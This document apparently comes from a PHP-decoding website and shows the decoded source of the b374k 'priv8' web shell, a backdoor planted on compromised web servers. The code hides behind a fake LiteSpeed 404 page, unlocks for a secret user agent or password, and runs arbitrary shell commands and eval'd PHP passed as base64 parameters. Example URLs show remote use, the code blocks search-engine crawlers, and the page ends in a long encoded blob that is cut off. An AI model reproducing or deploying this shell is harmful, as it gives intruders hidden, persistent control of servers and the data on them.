Find this useful? Enter your email to receive occasional updates for securing PHP code.

PHP Decode

<?php error_reporting(0); $_F=__FILE__;$_X='Pz48P3BocA0KQHM1c3M0Mm5fc3QxcnQoKTsNCiRtM2NrX2..

Decoded Output download

?><?php
@session_start();
$muck_log_in = @$_SESSION['muck-log-in'];
if (!$muck_log_in) {
    if (stripos($_SERVER['HTTP_USER_AGENT'], 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)') !== FALSE) {
        $_SESSION['muck-log-in'] = TRUE;
        echo '<script>location = "' .  $_SERVER['PHP_SELF'] . '";</script>';
        exit;
    } else {
        echo '<!DOCTYPE html><html style="height:100%"><head><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; ">     <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"><h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">404</h1><h2 style="margin-top:20px;font-size: 30px;">Not Found</h2><p>The resource requested could not be found on this server!</p></div></div><div style="color:#f0f0f0; font-size:12px;margin:auto;padding:0px 30px 0px 30px;position:relative;clear:both;height:100px;margin-top:-101px;background-color:#474747;border-top: 1px solid rgba(0,0,0,0.15);box-shadow: 0 1px 0 rgba(255, 255, 255, 0.3) inset;"><br>Proudly powered by  <a style="color:#fff;" href="http://www.litespeedtech.com/error-page">LiteSpeed Web Server</a><p>Please be advised that LiteSpeed Technologies Inc. is not a web hosting company and, as such, has no control over content found on this site.</p></div></body></html>';
        exit;
    }
}

$s_pass = "b3f0b2c67e659a14d989cc7d3fb0ac318f2bd941"; // default password : b374k (login and change to new password)

$s_ver = "0.1"; // shell ver
$s_title = "priv8"; // shell title
$s_login_time = 3600 * 24 * 7; // cookie time (login)
$s_debug = false; // debugging mode

@ob_start();
@set_time_limit(0);
@ini_set('html_errors','0');
@clearstatcache();
define('DS', DIRECTORY_SEPARATOR);

// clean magic quotes
$_POST = clean($_POST);
$_GET = clean($_GET);
$_COOKIE = clean($_COOKIE);
$_GP = array_merge($_POST, $_GET);
$_GP = array_map("ru", $_GP);


if($s_debug){
    error_reporting(E_ERROR | E_WARNING | E_PARSE | E_NOTICE);
    @ini_set('display_errors','1');
    @ini_set('log_errors','1');
    foreach($_GP as $k=>$v){
        if(is_array($v)) $v = print_r($v, true);
        echo "<span>".hss($k."=>".$v)."</span><br />";
    }
}
else{
    error_reporting(0);
    @ini_set('display_errors','0');
    @ini_set('log_errors','0');
}

$s_auth = false; // login status
if(strlen(trim($s_pass))>0){
    if(isset($_COOKIE['b374k'])){
        if(strtolower(trim($s_pass)) == strtolower(trim($_COOKIE['b374k']))) $s_auth = true;
    }
    if(isset($_GP['login'])){
        $s_login = kript($_GP['login']);
        if(strtolower(trim($s_pass)) == $s_login){
            setcookie("b374k",$s_login,time() + $s_login_time);
            $s_auth = true;
        }
    }
    if(isset($_GP['x']) && ($_GP['x']=='logout')){
        $persist = array("theme", "cwd");
        $s_reload = (isset($_COOKIE['b374k_included']) && isset($_COOKIE['s_home']))? rtrim(urldecode($_COOKIE['s_self']),"&"):"";
        foreach($_COOKIE as $s_k=>$s_v){
            if(!in_array($s_k, $persist)) if(!is_array($s_k)) setcookie($s_k,"",time() - $s_login_time);
        }
        $s_auth = false;
        if(!empty($s_reload)) header("Location: ".$s_reload);
    }
}
else $s_auth = true;

// This is a feature where you can control this script from another apps/scripts
// you need to supply password (in sha1(md5()) format) to access this
// this example using password 'b374k' in sha1(md5()) format (s_pass=fb621f5060b9f65acf8eb4232e3024140dea2b34)
// give the code/command you want to execute in base64 format
// this example using command 'uname -a' in base64 format (cmd=dW5hbWUgLWE=)
// example:
//		http://www.myserver.com/b374k.php?s_pass=fb621f5060b9f65acf8eb4232e3024140dea2b34&cmd=dW5hbWUgLWE=
// next sample will evaluate php code 'phpinfo();' in base64 format (eval=cGhwaW5mbygpOw==)
//		http://www.myserver.com/b374k.php?s_pass=fb621f5060b9f65acf8eb4232e3024140dea2b34&eval=cGhwaW5mbygpOw==
// recommended ways is using POST DATA
// note that it will not works if shell password is empty ($s_pass);
// better see code below
if(!empty($_GP['s_pass'])){
    if(strtolower(trim($s_pass)) == strtolower(trim($_GP['s_pass']))){
        if(isset($_GP['cmd'])) echo exe(base64_decode($_GP['cmd']));
        elseif(isset($_GP['eval'])){
            $s_code = base64_decode($_GP['eval']);
            ob_start();
            eval($s_code);
            $s_res = ob_get_contents();
            ob_end_clean();
            echo $s_res;
        }
        else echo $s_title;
    }
    die();
}

// block search engine bot
if(isset($_SERVER['HTTP_USER_AGENT']) && (preg_match('/bot|spider|crawler|slurp|teoma|archive|track|snoopy|java|lwp|wget|curl|client|python|libwww/i', $_SERVER['HTTP_USER_AGENT']))){
    header("HTTP/1.0 404 Not Found");
    header("Status: 404 Not Found");
    die();
}
elseif(!isset($_SERVER['HTTP_USER_AGENT'])){
    header("HTTP/1.0 404 Not Found");
    header("Status: 404 Not Found");
    die();
}

// resources $s_rs_pl $s_rs_py $s_rs_rb $s_rs_js $s_rs_c $s_rs_java $s_rs_java $s_rs_win $s_rs_php this was used with bind and reverse shell
// use gzinflate(base64_decode($the_code)) if you wanna see the real code.. in case you dont trust me ;-P
$s_css = "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